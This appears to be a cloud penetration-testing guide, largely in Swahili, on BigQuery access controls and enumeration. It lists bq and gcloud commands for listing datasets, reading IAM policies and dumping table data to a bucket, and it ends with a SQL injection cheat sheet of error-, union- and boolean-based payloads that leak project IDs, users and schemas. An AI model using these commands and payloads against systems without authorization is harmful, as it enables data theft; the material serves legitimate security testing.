GCP - Bigquery Enum

Reading time: 8 minutes

Basic Information

Google Cloud BigQuery ni ghala la data la biashara linalosimamiwa kikamilifu, lisilo na seva, linalotoa uwezo wa uchambuzi wa petabytes za data, hivyo kushughulikia seti kubwa za data kwa ufanisi. Kama Jukwaa kama Huduma (PaaS), inawapa watumiaji miundombinu na zana za kuwezesha usimamizi wa data bila haja ya uangalizi wa mikono.

Inasaidia kuuliza kwa kutumia ANSI SQL. Vitu vikuu ni datasets vinavyoshikilia tables vinavyoshikilia data ya SQL.

Encryption

Kwa kawaida, funguo za usimbaji zinazodhibitiwa na Google zinatumika ingawa inawezekana kuweka funguo za usimbaji zinazodhibitiwa na Mteja (CMEK). Inawezekana kuashiria funguo za usimbaji kwa kila dataset na kwa kila table ndani ya dataset.

Expiration

Inawezekana kuashiria muda wa kuisha katika dataset hivyo kila table mpya itakayoundwa katika dataset hii itafutwa kiotomatiki siku zilizotajwa baada ya kuundwa.

External Sources

Bigquery imeunganishwa kwa kina na huduma nyingine za Google. Inawezekana kupakia data kutoka kwa buckets, pub/sub, google drive, RDS databases...

Dataset ACLs

Wakati dataset inaundwa, ACLs zimeunganishwa kutoa ufikiaji juu yake. Kwa kawaida, inatolewa mamlaka ya Mmiliki kwa mtumiaji aliyeunda dataset na kisha Mmiliki kwa kundi projectOwners (Wamiliki wa mradi), Mwandishi kwa kundi projectWriters, na Msomaji kwa kundi projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Table Rows Control Access

Inawezekana kudhibiti mistari ambayo kiongozi ataweza kufikia ndani ya jedwali kwa kutumia sera za ufikiaji wa mistari. Hizi zinafafanuliwa ndani ya jedwali kwa kutumia DDL.
Sera ya ufikiaji inaelezea kichujio na ni mistari pekee inayolingana na kichujio hicho ambayo itakuwa inapatikana kwa viongozi waliotajwa.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli

# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Columns Access Control

Ili kupunguza ufikiaji wa data katika ngazi ya safu:

1. Define a taxonomy and policy tags. Unda na usimamie taxonomy na vitambulisho vya sera kwa data yako. https://console.cloud.google.com/bigquery/policy-tags
2. Hiari: Peana Data Catalog Fine-Grained Reader role kwa mmoja au zaidi ya wakuu kwenye mmoja au zaidi ya vitambulisho vya sera ulivyounda.
3. Assign policy tags to your BigQuery columns. Katika BigQuery, tumia maelezo ya muundo kupeana vitambulisho vya sera kwa kila safu ambapo unataka kupunguza ufikiaji.
4. Enforce access control on the taxonomy. Kuweka nguvu za udhibiti wa ufikiaji kunasababisha vizuizi vya ufikiaji vilivyofafanuliwa kwa vitambulisho vyote vya sera katika taxonomy kutumika.
5. Manage access on the policy tags. Tumia Identity and Access Management (IAM) sera kupunguza ufikiaji kwa kila kitambulisho cha sera. Sera hiyo inatumika kwa kila safu inayomilikiwa na kitambulisho cha sera.

Wakati mtumiaji anajaribu kufikia data ya safu wakati wa uchunguzi, BigQuery inaangalia kitambulisho cha sera ya safu na sera yake ili kuona ikiwa mtumiaji ameidhinishwa kufikia data.

Ili kuweka udhibiti wa ufikiaji kwenye taxonomy inahitajika kuwezesha huduma:

gcloud services enable bigquerydatapolicy.googleapis.com

Inawezekana kuona lebo za safu kwa:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Uhesabu

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

Kwa maelezo zaidi unaweza kuangalia chapisho la blogu: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hapa kuna maelezo machache yatatolewa.

Maoni:

• select 1#from here it is not working
• select 1/*between those it is not working*/ Lakini ile ya awali haitafanya kazi
• select 1--from here it is not working

Pata maelezo kuhusu mazingira kama vile:

• Mtumiaji wa sasa: select session_user()
• Kitambulisho cha mradi: select @@project_id

Unganisha safu:

• Majina yote ya meza: string_agg(table_name, ', ')

Pata datasets, tables na majina ya safu:

• Mradi na jina la dataset:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA

• Majina ya safu na meza za meza zote za dataset:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

• Seti zingine katika mradi huo:

# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

Aina za SQL Injection:

• Kulingana na makosa - casting: select CAST(@@project_id AS INT64)
• Kulingana na makosa - kugawanya kwa sifuri: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
• Kulingana na umoja (unahitaji kutumia ALL katika bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
• Kulingana na Boolean: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
• Kulingana na muda - Matumizi ya mifano ya datasets za umma: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Hati:

• Orodha ya kazi zote: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
• Kauli za uandishi: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting

Kuinua Haki & Baada ya Utekelezaji

GCP - BigQuery Privesc

Kudumu

GCP - BigQuery Persistence

Marejeleo

• https://cloud.google.com/bigquery/docs/column-level-security-intro